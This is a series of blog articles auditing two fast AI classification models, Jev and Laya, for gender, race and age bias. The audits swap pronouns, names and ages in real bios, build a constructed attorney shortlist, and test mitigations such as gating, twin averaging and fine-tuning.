==About one bio in twelve changes its answer when "he" becomes "she", and 138 of the 139 men's bios that flipped went toward "physician", the lower-prestige label in this pair.== The recall gap is the one the 2019 paper warned about, in its worst form: Laya finds 40% of the male surgeons and 22% of the female ones.

Picture where this model ends up: a developer picks it because it's free and answers in 18 milliseconds, benchmarks it on a labelled sample, and ships it in front of a credentialing queue. Nobody in that story was thinking about who the model judges.

## Four decisions, two engines

One pair could be a quirk of surgery, so we pre-registered three more, chosen for where the stereotype points and how hard: teacher or professor (a 15-point gap in women's share, the small-gap control), nurse or physician (41 points, the pair the stereotype names), and paralegal or attorney (47 points, a prestige pair in law, which a surgery-specific story can't reach). Same corpus, 1,000 bios per label, same redaction, same swap, engines only, 12,000 Jev requests priced before they were sent. The prediction on record was that the flip rate would rise with the gap.

::image{
  src="images/encoding-prejudice-pairs.png"
  layout="full"
  alt="Bar chart of the share of verdicts that flipped under a pronoun swap on four occupation pairs, ordered
  by the gap in women's share between the two labels, with 95 percent intervals. Teacher or professor,
  15-point gap: Jev 1.2 percent, Laya 7.6. Surgeon or physician, 35: Jev 1.1, Laya 8.0. Nurse or physician,
  41: Jev 3.3, Laya 13.5. Paralegal or attorney, 47: Jev 3.9, Laya 17.8."
  caption="The first four decisions, two engines, 2,000 bios per pair. On these four Laya's flip rate rose in the exact order of the gap in women's share; Jev's too, at about a fifth the size. Three pairs added later kept the direction and broke the order (see below). The surgeon pair has no interval because it predates the bootstrap convention."
}

It did, on those four. ==Laya: teacher/professor 7.65%, surgeon/physician 7.95%, nurse/physician 13.5%, paralegal/attorney 17.85%, with 95% intervals of about ±1.2 to ±1.7 points, 100% of flips toward the more-female label on every new pair, and on paralegal/attorney a recall gap for "attorney" of 8.8 points between women's and men's bios.== Jev: 1.25%, 1.05%, 3.3% and 3.9%, direction 75% to 100%. We also predicted Jev would stay under 1.5% on every pair. It didn't: the pre-registration's "Jev exceeds 3% on any pair" clause fired on two of four, so its near-invariance is decision-specific. Roughly a fifth of Laya's on every pair, and not negligible on the most gendered ones.

We first wrote that the ordering was the strongest result here. Then we added three pairs, pre-registered the same way, and it broke. A control pair where women hold both titles about equally, journalist (49.5%) or professor (45.1%), flipped on 1.8% of bios for Laya with no direction (35% toward journalist) and 0.8% for Jev: the control behaves like a control. But architect (23.7%) or interior designer (80.8%), the largest gap in the corpus, flipped only 5.1% on Laya and 4.4% on Jev, and dietitian (92.9%) or physician (49.4%) 6.5% and 2.1%. The direction held on every gapped pair, 93% to 100% toward the more-female title on Laya, 100% on Jev. The size did not follow the gap. A better measure of the size is the shift in the probability of the less-female title when a man's bio is rewritten as a woman's: for Laya, −6.0 points on teacher/professor, −8.7 on surgeon/physician, −5.6 on nurse/physician, −3.2 on dietitian/physician, −10.8 on paralegal/attorney, −3.6 on architect/interior designer, every one clear of zero, and +0.8 on the control; for Jev, −0.9, −1.1, −2.8, −1.4, −2.0 and −2.9, and −0.3 on the control. Flip rates also depend on how many bios sit near the decision line, which varies by pair. So the claim that survives seven pairs is the direction, not the ordering: ==the engine moves every profession's women toward the lesser title; how far varies by job for reasons the gender gap alone doesn't explain.== The three added pairs, and the rest of the expanded benchmark, are in the [Biased-Decisions](https://github.com/AnthusAI/Biased-Decisions) repo.

## Best case, measured: the hosted model, and why a few percent isn't zero

Jev is the best case we've measured, and we should say so plainly. ==On surgeon or physician its verdict moved on 21 of 2,000 bios, and its recall for "surgeon" is 0.985 on women's bios against 0.999 on men's.== Across the four decisions it flips on 1 to 4%, about a fifth of Laya on each. Whatever TypeSafe did to get there, they evidently did something.

But 1 to 4% is small only in a table. ==Put this model in front of a million decisions a year, a modest volume for a triage system, and 1% is ten thousand people whose outcome depends on a pronoun; on the most gendered pairs, 4% is forty thousand.== And the flips aren't noise: when Jev's verdict moved on a man's bio rewritten as a woman's, it moved toward "physician" 15 times out of 16, and toward "nurse" every time. The person on the wrong end is a woman surgeon read as something less, ten thousand times, quietly, by the best system in this comparison.

::image{
  src="images/encoding-prejudice-direction.png"
  layout="full"
  alt="Bar chart of verdicts that flipped, with the stereotyped direction drawn solid. Gender, a man's bio
  rewritten as a woman's and flipped to physician: Jev 15 of 16, Laya 138 of 139. Age, 34 rewritten as 61 and
  flipped to surgeon: Jev 8 of 16, Laya 10 of 12."
  caption="Solid is the direction the stereotype predicts; the pale remainder went the other way. Jev's gender base is 16 flips, so one flip the other way would move its share by nine points."
}

The same residue shows up when we swap a name instead of a pronoun. Jev's one clearly nonzero race effect is a third of a point of probability, in the stereotyped direction, for Black names. It's the largest of the four groups we tested, so part of it may be the multiple-comparisons tax.

## The shortlist

A shortlist turns a verdict-level flip rate into the number a compliance review would compute. An invented employer gets 2,000 applications, the 1,000 real attorney bios and the 1,000 real paralegal bios, asks the engine "paralegal or attorney?", ranks by its probability of "attorney", and shortlists the top 500. The scenario is constructed: a real corpus, a real question, an invented employer. It's a component of what ranking tools do, and it isn't a ranking tool.

::image{
  src="images/encoding-prejudice-shortlist.png"
  layout="full"
  alt="Bar chart of the share of real attorneys who make a top-500 shortlist out of 2,000 paralegal and
  attorney bios, women against men, per engine. Jev: 44 percent of women attorneys and 52 percent of men, a
  four-fifths ratio of 0.85 with a 95 percent interval of 0.73 to 0.96. Laya: 29 percent of women and 60
  percent of men, a ratio of 0.48 with an interval of 0.40 to 0.55. A dashed line marks four-fifths of the
  men's rate, the EEOC rule of thumb."
  caption="The constructed shortlist: 1,000 real attorney and 1,000 real paralegal bios ranked by each engine's P(attorney), top 500 kept. Solid bars are women attorneys, pale bars men. The dashed line is four-fifths of the men's rate; a women's bar below it is adverse impact by the EEOC rule of thumb."
}

Among the 1,000 real attorneys, 419 women and 581 men, Laya shortlists 28.9% of the women and 60.1% of the men. That's ==a four-fifths ratio of 0.48 [0.40, 0.55]==, below the 0.80 line the [EEOC's Uniform Guidelines](https://www.law.cornell.edu/cfr/text/29/1607.4) use as the rule of thumb for adverse impact, and below it at every cut we tried: 0.41 at the top 250, 0.76 even at a top 1,000 that admits half the applicants. Jev shortlists 44.4% of the women attorneys and 52.1% of the men, a ratio of 0.85 [0.73, 0.96]: above the line, with an interval that reaches it. One mechanical detail matters once anything is fitted on top: Jev reports two-decimal probabilities, so a top-500 cut sits inside a block of 733 bios tied at P = 1.00. A tie-fair ratio, which breaks ties at random, comes out at 0.851, the same as the reported one; but any question a fitted head adds becomes the tie-breaker for the whole block.

A ratio mixes the model reading gender with women's bios being written differently, so the counterfactual isolates the cause. Re-rank each attorney alone with the pronouns swapped. On Laya, 82 of the 419 women attorneys make the top 500 only if read as men, one woman attorney in five; 147 of the 581 men fall out of it if read as women. On Jev the counts are 15 and 21. And at every cut, on both engines, zero women lose a place by being read as men and zero men gain one by being read as women. The direction is the stereotype's, without exception. ==We predicted adverse impact for Laya at about 0.75 and got 0.48; we predicted Jev at about 0.93 and got 0.85.==

We also ran our learning loop on this pair, and a question that passed its invariance gate made the shortlist worse, which is where [Can You Fix It?](/blog/can-you-fix-it/) picks up.

We gate the same way in production: a proposed scorecard change is scored on held-out data broken out by group, a person reads the diff, and it ships only after they approve it. That habit is what would catch a ratio moving to 0.66 before launch instead of after.

## Names and ages

Race isn't marked by a pronoun, so the counterfactual is a name, the design [Bertrand and Mullainathan](https://www.aeaweb.org/articles?id=10.1257/0002828042002561) used in 2004 when they mailed identical résumés under different names and found that "White names receive 50 percent more callbacks for interviews". Our first attempt copied their eighteen names and was inconclusive: the name effects sat inside the noise from swapping one white name for another. The second gives every mention of the person a full name from pools with measured race probabilities, four names per group, and reports the shift in P(surgeon) relative to white names.

::image{
  src="images/encoding-prejudice-race-shift.png"
  layout="full"
  alt="Dot plot with 95 percent intervals of the shift in probability of surgeon for each name group relative
  to white names, on the 500 bios both engines answered. Laya: floor plus 0.33 points with an interval
  including zero; Black names plus 0.70, Hispanic plus 1.54, both intervals excluding zero; Asian minus 0.18,
  including zero. Jev: floor plus 0.06; Black names minus 0.35, interval excluding zero; Hispanic minus 0.04
  and Asian minus 0.13, both including zero."
  caption="Full names from measured pools, 500 bios both engines answered. Hollow dots are the control floor, one set of white names against another. Points of probability, so the whole vertical axis is under two percent."
}

The open model reads the name group, about four times as far as the hosted one, but not the way the résumé study would predict: Black and Hispanic names *raise* Laya's probability of "surgeon", by 0.7 and 1.5 points. ==We predicted the opposite in writing and have no story for the reversal.== None of it flips a verdict: flip rates sit at or below the control floor for every group on both engines, on the 500 bios both answered.

For age, the bio's first subject pronoun gets "At 34," or "At 61," in front of it, on the 1,231 bios where a young age wouldn't contradict the text; the floor is a one-year change.

::image{
  src="images/encoding-prejudice-age-shift.png"
  layout="full"
  alt="Dot plot with 95 percent intervals of the shift in probability of surgeon when a stated age changes,
  on 1,231 bios. Laya: floor 34 versus 35 plus 0.04 points; floor 61 versus 62 minus 0.52, interval excluding
  zero; 34 versus 61 plus 0.69, interval excluding zero. Jev: floors minus 0.06 and 0.00; 34 versus 61 plus
  0.07, interval including zero."
  caption="A stated age inserted before the first pronoun, 1,231 bios. Hollow dots are the one-year floors. Both effects are under a point of probability."
}

==Laya's verdict shifts +0.69 points toward "surgeon" for the older version, with an interval that excludes zero, and 10 of its 12 flips go that way: a seniority association, and a weak one.== Jev's shift is +0.07 with an interval that includes zero. One oddity: Laya's 61-versus-62 floor moves −0.52 points, systematically, when a one-year change should be noise. We're reporting it as an open question about fragility to surface tokens.

## Is this a new kind of risk?

No. Automated judges have always encoded prejudice. [ProPublica's 2016 analysis of COMPAS](https://www.propublica.org/article/machine-bias-risk-assessments-in-criminal-sentencing) found Black defendants labelled high-risk without reoffending at nearly twice the rate of white defendants, 44.9% against 23.5%. [Amazon scrapped a résumé screener in 2018](https://www.euronews.com/business/2018/10/10/amazon-scraps-secret-ai-recruiting-tool-that-showed-bias-against-women) after it taught itself to penalise the word "women's", as in "women's chess club captain". Word embeddings trained on the news put "man is to computer programmer as woman is to homemaker" ([Bolukbasi and colleagues](https://arxiv.org/abs/1607.06520)) and reproduce the whole spectrum of human implicit-association biases ([Caliskan, Bryson and Narayanan](https://arxiv.org/abs/1608.07187)). [Hofmann and colleagues](https://www.nature.com/articles/s41586-024-07856-5) showed in 2024 that language models assign less prestigious jobs to people who write in African American English.

A System 1 model changes the shape of the problem in three ways.

==**The bias arrives pre-installed.**== COMPAS had training data you could subpoena; Amazon had its own résumés. A zero-shot model has neither: you didn't train it, and the vendor isn't going to show you what did.

**There's only a number.** A probability can only be tested. ==If you don't run the test, the bias is invisible by construction.==

**The failures are correlated.** A woman attorney misread by one screener used to be able to try the next firm. ==If every firm ends up using the same HR software, or if different HR vendors build on the same few AI models, she meets the same verdict at every firm, for the same reason, and no one at any of them can see it.== [Kleinberg and Raghavan](https://www.pnas.org/doi/10.1073/pnas.2018340118) showed in 2021 that decision-makers converging on one algorithm can make worse decisions collectively even when it's more accurate for each of them alone; [Bommasani and colleagues](https://arxiv.org/abs/2211.13972) call the human side of that outcome homogenization: "particular individuals or groups experience negative outcomes from all decision-makers".

And the law doesn't require anyone to have meant it: [*Griggs v. Duke Power*](https://www.law.cornell.edu/supremecourt/text/401/424) settled in 1971 that an employment practice with a discriminatory effect can violate Title VII whether or not the employer intended one.

The audit trail is what makes a shift like this visible. Every promoted scorecard in Plexus records who approved which version and why, so when a verdict moves on a slice, you can trace it to a specific change and a specific signoff rather than discovering it as a lawsuit or a public post.

## What we haven't shown

- **Laya ran through a port, and the original agrees.** Every Laya number came from [`laya-mlx`](https://pypi.org/project/laya-mlx/), an Apple-silicon conversion of the released weights. We then re-ran the pronoun swap on all four pairs with the original PyTorch release, using the same question and the same option order: flip rates 7.95%, 7.75%, 13.45% and 17.85% against the port's 7.95%, 7.65%, 13.5% and 17.85%, with verdicts agreeing on at least 3,998 of 4,000 bios per pair. Option order matters, though: list the two options the other way round and Laya's answer on a single bio can move by half a point of probability. Every number here uses the order in the committed question files.
- **One corpus, one wording per decision.** Four occupation pairs, each asked one way. Other wordings and other domains will move differently.
- **2,000 bios per pair is about ±1 point.** Jev's 21 surgeon flips are 21 flips; its direction share there, 15 of 16, would move nine points if one flip went the other way. The four-pair ordering is the robust result, the per-pair magnitudes less so.
- **Real applications carry more cues.** We redacted first names and swapped pronouns, so the flip rates are lower bounds for both engines. A production input has the name, the title and the school.
- **Race, first attempt, was inconclusive.** The second attempt fixed the instrument; it still measures the engine's response to a name association, and nothing about any person. Laya's reversed direction is unexplained.
- **A stated age and a name are proxies** for age and race as a reader would perceive them. Nothing here measures anyone's actual characteristics.
- **We don't know what TypeSafe did**, and we're not guessing. Jev's 1 to 4% measures its answers, nothing about its training.
- **The swap rule has two known artefacts.** It turns "women's health" into "men's health" in 0.3% of bios (medical content, which says nothing about the person's gender), and it misses Miss, Sir and Madam (under 0.2%). The rule has since been amended; every number here stands as recorded under the old one.

## We run this audit for clients, at scale

The checks here are the small, reproducible version of a loop we run continuously in production. When a reviewer disagrees with a verdict and says why, that explanation becomes a question the scorecard asks going forward, so the same mistake doesn't recur unnoticed. We've run that loop for a call-center QA operation across hundreds of scorecards and millions of interactions; the [case study](/blog/call-criteria/) is what continuous review looks like at that scale.

[Plexus](/platform/plexus) is where we run the per-slice checks, the approval gate, and the audit trail that catch a shift like the ones measured here before it ships.

If you have a classifier making decisions about people and no standing check for verdict shifts by name or pronoun, we'll build one against your own data. [Here's how an engagement works](/engage).

## Companion pieces

- [We Told the AI She Was a Woman. It Demoted Her](/blog/encoding-prejudice/) — the story, for anyone who doesn't need the method.
- [Can You Fix It? Gating, Averaging and Fine-Tuning Against a Gendered Verdict](/blog/can-you-fix-it/) — what we tried above the model: a gate against gendered questions, averaging, fine-tuning, and why the check has to be on the outcome.
- [Jev-Flywheel](https://github.com/AnthusAI/Jev-Flywheel) — every number replays offline; if a fast model is about to judge people on your behalf, the Anthus team builds the industrial version.
- [Fine-Tuning Jev: You Can't. Here's What Gets You the Same Effect](/blog/fine-tuning-jev/) — the flywheel these studies ran on.
- [Jev vs Laya: Same Labels, Same Questions, One Variable](/blog/jev-vs-laya/) — the two engines on one harness, before we asked them about people.
- [Can You Trust Jev's Confidence?](/blog/can-you-trust-jev-confidence/) — why Jev's raw probabilities needed calibrating.

Everything replays from the [repo](https://github.com/AnthusAI/Jev-Flywheel):

```bash
git clone https://github.com/AnthusAI/Jev-Flywheel && cd Jev-Flywheel
make install
make bios    # the pronoun swap, both engines, from committed answers
make race    # the name swap, first attempt
make race2   # the full-name swap
make age     # the inserted age
make pairs   # the pronoun swap on three more occupation pairs
python scripts/bios_shortlist.py   # the shortlist, both engines, cuts 250/500/1000
```

The repo is deliberately small: one score, a logistic head, no database. [Plexus](https://github.com/AnthusAI/Plexus) is the industrial version of the same loop, with reviewer workflows, vetted labels, audit trails and the MLOps around continuous learning from human feedback, and the [Anthus AI Solutions](https://anth.us) team builds and runs it.

---

# We Told the AI She Was a Woman. It Demoted Her

> A new kind of AI, the decision model, makes instant decisions about people: who gets an interview, whose claim gets flagged. It's cheap and fast, and companies are adopting it without checking what it does. We checked. It quietly ranks women lawyers below men, and every company using it makes the s…

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-22

Canonical: https://anth.us/articles/encoding-prejudice/

A new kind of artificial intelligence took the software world by storm in the last week. Unlike the chat-style AI that writes out its reasoning, these models answer a simple question about a document in a fraction of a second, for a fraction of a cent, with no explanation at all. Engineers are already putting them in front of the queues that decide which applications get read, which claims get flagged, which customers get called back, and the trade is speed and cost against visibility: with the older kind of AI you could at least read why it decided something; ==with these, there is nothing to read, and there is no free lunch==.

So we asked what one of these models does with what it can't explain. Two thousand real online bios of lawyers and paralegals, two of these models, one free and one a paid service, one question: paralegal or attorney? Then we changed one word in every bio, "he" to "she" or the reverse, and asked again. Nothing about anyone's work had changed. ==The free model changed its answer on nearly one bio in five, and every time, the woman became the paralegal.== The paid model changed on about one in twenty-five, almost always the same way. ==That is gender bias, in one number: the same bio, judged lower because of one pronoun.== The question nobody is asking is what the models do to the people on the other end.

::image{
  src="images/encoding-prejudice-cover.png"
  layout="full"
  alt="Two bars show how often each model's answer changed when the pronoun was swapped, on 2,000 real bios
  asked one question, paralegal or attorney: 3.9 percent for the paid model, Jev, and 17.8 percent for the
  free one, Laya."
  caption='Two thousand real online bios, one question: paralegal or attorney? We changed "he" to "she" and asked again. The bars are how often the answer changed.'
}

The bars name the models: [Laya](https://huggingface.co/convaiinnovations/laya), the free one, and [Jev](https://typesafe.ai/blog/introducing-system-one-models-and-jev), the paid one. Both are being wired into real products right now, by engineers who have measured their speed and their accuracy and nothing else. That is the risk, plainly: ==a prejudice that used to live in one person's head, where it could be argued with, is being written into the machinery that decides who gets read, by people who never checked whether it was there==. Once it's in the software it stops being one reader's mistake and becomes everyone's default, applied to every applicant, silently, at a scale no biased human could manage, until someone measures it. Nobody is measuring it.

Two answers get proposed when this comes up: run a fairness benchmark before launch and call it done, or trust the accuracy number nobody built for this. We run a third for clients: audit the model that's already live, on real applicants or customers, broken out by group, before it goes in front of people and on a standing schedule after. A number like one bio in five doesn't show up in a spot-check of fifty items; it shows up only when someone measures it on purpose and keeps measuring.

Take hiring. A company gets two thousand applications for a job. Nobody reads two thousand applications, so the HR software ranks them and hands a person the top few hundred, the shortlist. Increasingly the ranking comes from one of these models: ask it a yes-or-no question about each application, rank by how sure it is, cut.

Now meet one of the people on the other end. She isn't one real person, and she isn't invented either. ==She's a composite: any one of the 82 women attorneys, out of 419 in our pile, whose bio the free model put on the shortlist only after we changed "she" to "he".== Everything said about her here is true of all 82.

Her bio came from a [public research collection](https://huggingface.co/datasets/LabHC/bias_in_bios) of short professional bios scraped from the web, which labels her an attorney. Before the test we blanked every first name in every bio to [name], so she's [name] here too. As written, with "she" and "her", she missed the shortlist. We changed the words that say she's a woman, "she" to "he" and "her" to "his", left every other word alone, and asked again. She made it.

We did that to the pile [name] is in, ranking all two thousand bios by how sure each model was that the person was an attorney and keeping the top five hundred. Among the real attorneys, ==the free model put 60 of every 100 men on the list and 29 of every 100 women==; the paid model, 52 and 44. Then the swap: 82 of the 419 women attorneys, [name] among them, make the free model's list only as "he", and 15 make the paid model's. ==It never went the other way, on either model.== Nobody at the company would have decided to prefer men. The shortlist would have looked perfectly reasonable, and [name] would never know why she wasn't on it.

::image{
  src="images/encoding-prejudice-shortlist.png"
  layout="full"
  alt="Bar chart of the share of real attorneys who make a top-500 shortlist out of 2,000 paralegal and
  attorney bios, women against men, per model. Jev, the paid model: 44 percent of women attorneys and 52
  percent of men. Laya, the free model: 29 percent of women and 60 percent of men. A dashed line marks
  four-fifths of the men's rate, the federal rule of thumb for adverse impact in hiring."
  caption="The 2,000-bio pile holds 1,000 real attorneys, 419 women and 581 men. Solid bars are women attorneys, pale bars men. The free model shortlists 28.9% of the women and 60.1% of the men; the paid model 44.4% and 52.1%. The dashed line is four-fifths of the men's rate, the rule of thumb the federal Equal Employment Opportunity Commission uses; below it, federal hiring guidelines presume adverse impact and the employer has to justify the practice."
}

Now suppose she applies somewhere else. If every firm ends up using the same HR software, or if different HR vendors build on the same few AI models, ==she meets the same verdict, at every firm, for the same reason==. With a human screener she'd at least get a different reader next time. With a shared model, the same mistake follows her from application to application. Old unfairness, in a new and much larger shape.

Since [*Griggs v. Duke Power*](https://www.law.cornell.edu/supremecourt/text/401/424) in 1971, a hiring practice that shuts a group out can violate Title VII of the Civil Rights Act on its effect, not its intent. Researchers who study the new shape have a name for it, monoculture: everyone's judge making the same mistake about the same person. The benefits of a fast, cheap gatekeeper are diffuse and go to whoever installs it. The harms concentrate on people who never see the model and can't appeal to it. If every firm rents the same reader, then for [name] it has made up its mind about "she", and there's nowhere left to be read differently: ==a rut, and the machinery keeps her in it==.

::image{
  src="images/encoding-prejudice-monoculture.png"
  layout="full"
  alt="Diagram: one person, a woman attorney whose bio is read as paralegal, feeds into four decisions at
  four different institutions, and all four feed into one rented model with the same weights, the same answer
  and the same mistake."
  caption="One person, four decisions, one rented model. Four judges used to make four different errors, and one of them said yes. One judge makes one error everywhere she goes."
}

## It isn't only law

Law was the worst of seven. We ran the same one-word test on other pairs of jobs that share a vocabulary and differ in how many women hold each title: teacher or professor, surgeon or physician, nurse or physician, dietitian or physician, architect or interior designer, and, as a control, journalist or professor, where women hold both titles about equally. The free model changed its answer on between 5 and 18 bios in every 100 on the six lopsided pairs, and ==on every one of them the change ran the same way: "she" got the lesser title==. On the control pair it changed on fewer than 2 in 100, with no direction at all. How big the effect is varies from job to job; which way it points does not. The paid model changed on about a fifth as many, 1 to 4 in every 100, in the same direction.

That sounds small. Put the better model in front of a million decisions a year and ==1 in 100 is ten thousand people whose outcome turned on a pronoun; 4 in 100 is forty thousand==. And that's the least they do. We blanked the names and swapped only the words that mark gender. A real application carries the name, the title and the school.

We measure the same way before we ship a scorecard in production: overall accuracy and calibration aren't enough, because a model can look fine in aggregate and still be systematically wrong for one group. Every promoted scorecard gets checked by slice, and a regression for one group holds up the release even when the aggregate number improved.

::image{
  src="images/encoding-prejudice-pairs.png"
  layout="full"
  alt="Bar chart of how often each model's answer changed under a pronoun swap on four occupation pairs,
  ordered by the gap in women's share between the two titles, with 95 percent intervals. Teacher or
  professor: Jev 1.2 percent, Laya 7.6. Surgeon or physician: Jev 1.1, Laya 8.0. Nurse or physician: Jev 3.3,
  Laya 13.5. Paralegal or attorney: Jev 3.9, Laya 17.8."
  caption="The first four jobs we tested, two models, 2,000 bios per pair. The free model's answer changed on 7.65%, 7.95%, 13.5% and 17.85% of bios; the paid model's on 1.25%, 1.05%, 3.3% and 3.9%. Three later pairs are in the companion piece; the direction held on all of them, the size did not follow the gap."
}

## Fast thinking, sold as a product

None of this would have surprised Daniel Kahneman, the psychologist who won a Nobel prize for studying how people judge. He spent a career showing that the mind decides two ways, fast and automatic on habit and association, or slow and deliberate with its work checked, and that the fast one is where our prejudices live, can't be switched off, and is safe only when the decision is slowed down and a procedure put around it. ==These models are the fast kind of thinking, made instant, put in charge, and sold without the slowing-down==; their makers even call them System 1 models, Kahneman's own name for the fast kind.

## Why nobody notices

Engineers test these models by taking a labelled sample and counting how often the model is right. Accuracy has a number. What the model is reading to get there doesn't, so nobody asks. And the women who missed the list aren't in the demo or the fifty items someone spot-checked; the mind doesn't register what's missing. The usual answer is a checklist line, "consider the risks." ==Considering a bias doesn't remove it; you can know about a visual illusion and still see it.== The control has to be structural.

That's the habit we build into production review: a change to a model doesn't ship on the aggregate number alone. A person reads what moved and for whom, by group, and approves it, and there's a record of who signed off and why, so a shift like this one has a trail back to the change that caused it.

## What should happen instead

Before a machine judges people on your behalf, ==run the one-word test on your own data==: take a few hundred records, swap the pronouns, swap the names, add an age, and count how often the answer changes. Then ==never let the snap verdict be the decision==. Instead, ask the model things a person could check, such as whether the bio mentions passing the bar or appearing in court, and combine those answers with a rule a person can read. Then check the shortlist itself the way a regulator would, by group, because a question can ignore the pronoun and still lean on what women's bios tend to say.

Two models today, dozens soon, all taught by the same internet, and everything we measured replays from the public record. So ==ask the vendor for the number: how often does the answer change when only the pronoun does?== Ask before the model is in front of the queue; [name] can't ask afterwards, and she'll never know to. ==Every bias you don't measure before you ship becomes a rule you shipped.==

## We run this audit for clients, at scale

The measurements here are the small, reproducible version of a loop we've run in production for years. When a reviewer disagrees with a verdict and says why, that explanation becomes a question the scorecard asks from then on, so the same mistake doesn't keep happening unnoticed. We've run that loop for a call-center QA operation across hundreds of scorecards and millions of interactions; the [case study](/blog/call-criteria/) is what continuous review looks like at that scale.

[Plexus](/platform/plexus) is where we run it: the per-slice checks, the approval gate a person reads before a change ships, and the audit trail that shows who approved what.

If a fast model is about to start judging people on your behalf and nobody's checked what it's reading, we'll run that check for you. [Here's how an engagement works](/engage).

## Companion pieces

- [The One-Word Test: How Jev and Laya Read Gender, Race and Age](/blog/one-word-test/) — how we ran it: two models, four jobs, the shortlist, and what swapping a name or an age does
- [Can You Fix It? Gating, Averaging and Fine-Tuning Against a Gendered Verdict](/blog/can-you-fix-it/) — what we tried above the model: a gate against gendered questions, averaging, fine-tuning, and why the check has to be on the outcome
- [Jev-Flywheel](https://github.com/AnthusAI/Jev-Flywheel) — every number replays offline; if a fast model is about to judge people on your behalf, the Anthus team builds the industrial version.

---

# Can You Fix It? Gating, Averaging and Fine-Tuning Against a Gendered Verdict

> A decision model's verdict moves on "she". We put a gate on the learning loop that rejects any question whose answer moves with the pronoun. It kept out the obvious ones and still made a hiring shortlist worse, because a question can ignore the pronoun and read gender from the words. Here's what wo…

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-22

Canonical: https://anth.us/articles/can-you-fix-it/

Change "he" to "she" in a lawyer's online bio and [Laya](https://huggingface.co/convaiinnovations/laya), the open model, reads the attorney as a paralegal on 17.8% of two thousand real bios; [Jev](https://typesafe.ai/blog/introducing-system-one-models-and-jev), the hosted model, on 3.9%. Rank the same bios by either model's confidence, keep the top 500, and women attorneys make the cut at 0.48 of the men's rate on Laya and 0.85 on Jev. [The One-Word Test](/blog/one-word-test/) is the measurement; the question here is what a deployer can do about it above the model. ==The learning loop that raises accuracy leaves the bias alone.== A gate that rejects any question whose answer moves with the pronoun keeps out the obvious ones, and where the harm is largest it made the shortlist worse. Averaging each bio with its pronoun-swapped twin is the cheapest thing that helped. Fine-tuning, which we predicted would make things worse, didn't.

Three fixes get proposed for a shift like this: reject any question that looks gendered, average away a cue you can swap, or retrain on corrected labels and hope it doesn't relearn the pattern. We run all three as standing parts of one loop for clients: a gate a new question has to clear before it joins the scorecard, an averaging fallback for any cue you can swap, and fine-tuning as the option when the classifier itself needs to change, all checked continuously against real reviewer feedback rather than run once and left alone. Which one actually helps a given outcome isn't obvious from the name of the fix; it depends on the decision, and we measured it. The loop's machinery is in [Fine-Tuning Jev](/blog/fine-tuning-jev/).

The result that changed how we think about the gate fits in three bars. Jev alone shortlists women attorneys at 0.85 of the men's rate, above the four-fifths line. ==The gated loop added one question about support roles whose answer barely moved under the pronoun swap, and the ratio fell to 0.66.== Remove it and it's 0.85 again.

::image{
  src="images/can-you-fix-it-cover.png"
  layout="full"
  alt="Three bars of the four-fifths ratio on a top-500 shortlist from 2,000 paralegal and attorney bios, on
  Jev. The engine alone, 0.85; the gated learning loop with one question added, 0.66; the same question
  removed, 0.85. A dashed line marks the four-fifths threshold at 0.8. The title reads: the gate passed the
  question, the shortlist got worse."
  caption="One question, added by the learning loop after it passed the invariance gate. The ratio is women attorneys' shortlist rate over men's; the dashed line is the four-fifths rule of thumb."
}

## The invariance gate

The loop proposes questions: an analyst reads the labelled mistakes and proposes a factual question about the text, which joins the scorecard if the fit improves out of fold. The gate adds one rule: the question is promoted only if it also flips on no more than 2% of the labelled items when their pronouns are swapped. Questions that mention gender, pronouns or sex are rejected by construction, so the fix can't be "ask about gender and correct for it".

We wrote down four outcomes first. If the ungated loop halved the flip rate on its own, the gate would be redundant. If the gated loop couldn't find one question that passed, the engine reads gender in everything it says and the fix has to happen in the model. If fine-tuning's flip rate fell, gender-correlated labels didn't teach the correlation. And if Jev flipped on under 1% of bios, "Jev reads gender" wouldn't be supported at all. That last one didn't fire; Jev flipped on 1.05%.

## The loop on the surgeon pair, with and without the gate

The arms ran on surgeon or physician: 3,000 bios of each, 2,000 held out, first names redacted, one question. Both engines, three seeds each, with and without the gate.

The loop did what it's built for. On Laya, accuracy went from 0.673 to 0.733–0.757, a 6 to 8 point gain, with calibration intact; on Jev, from 0.785 to about 0.805. It did not reduce the gender flip rate as a side effect, and on Laya it made it worse: 8.4%, 10.85% and 19.05% across the seeds, the last one after promoting two plain evidence questions. The loop optimises agreement with the labels; in this corpus gender correlates with the label (14% of surgeons are women, 49% of physicians), so a gender-sensitive answer is a *useful* feature to the fit. Optimising for the labels reproduces the base-rate correlation.

The gate did what it's built for too, and it wasn't enough. ==On Laya it rejected every proposal in every seed: the two genuinely gendered ones, courtesy-title questions that flipped on 24% and 14% of the labelled twins, and also the plain evidence questions, because on Laya even "does the text state that this person performs surgery?" changes its answer on 4 to 7% of bios when the pronouns change.== Every gated seed fell back to a refit of the holistic answer and landed at 10 to 11% flips. That's the second of the outcomes we pre-registered: the engine reads gender in everything it says about a bio, the layer can't refuse what every answer carries, and mitigation has to happen upstream, in the model. On Jev the same evidence questions flip on 0 to 1.6% of twins and pass, and the gated loop ended better on both axes, accuracy up two points and flips roughly halved on two of three seeds. On those two seeds nothing was promoted, though; the improvement came from the refit moving the threshold into a sparser part of Jev's score distribution.

| Arm, surgeon or physician, 2,000 held-out bios | Engine | Accuracy | ECE | Flip rate | Recall gap, women − men |
|---|---|---:|---:|---:|---:|
| J0, the engine alone | Jev | 0.785 | 0.165 | 1.05% | −1.4 pts |
| J1, the loop, mean of 3 seeds | Jev | 0.800 | 0.049 | 1.73% | −0.7 pts |
| J2, the loop with the gate, mean of 3 | Jev | 0.806 | 0.066 | 0.80% | +1.8 pts |
| L0, the engine alone | Laya | 0.673 | 0.191 | 7.95% | −17.2 pts |
| L1, the loop, mean of 3 | Laya | 0.741 | 0.036 | 12.8% | −18.2 pts |
| L2, the loop with the gate, mean of 3 | Laya | 0.734 | 0.062 | 10.7% | −12.2 pts |
| LF, fine-tuned, 2 of 3 seeds | Laya | 0.802 | 0.056 | 1.58% | −4.1 pts |
| Twin averaging on L1's head, mean of 3 | Laya | 0.731 | 0.036 | 0.00% | −3.6 pts |

ECE is calibration error; the last column is recall for "surgeon" on women's bios minus men's.

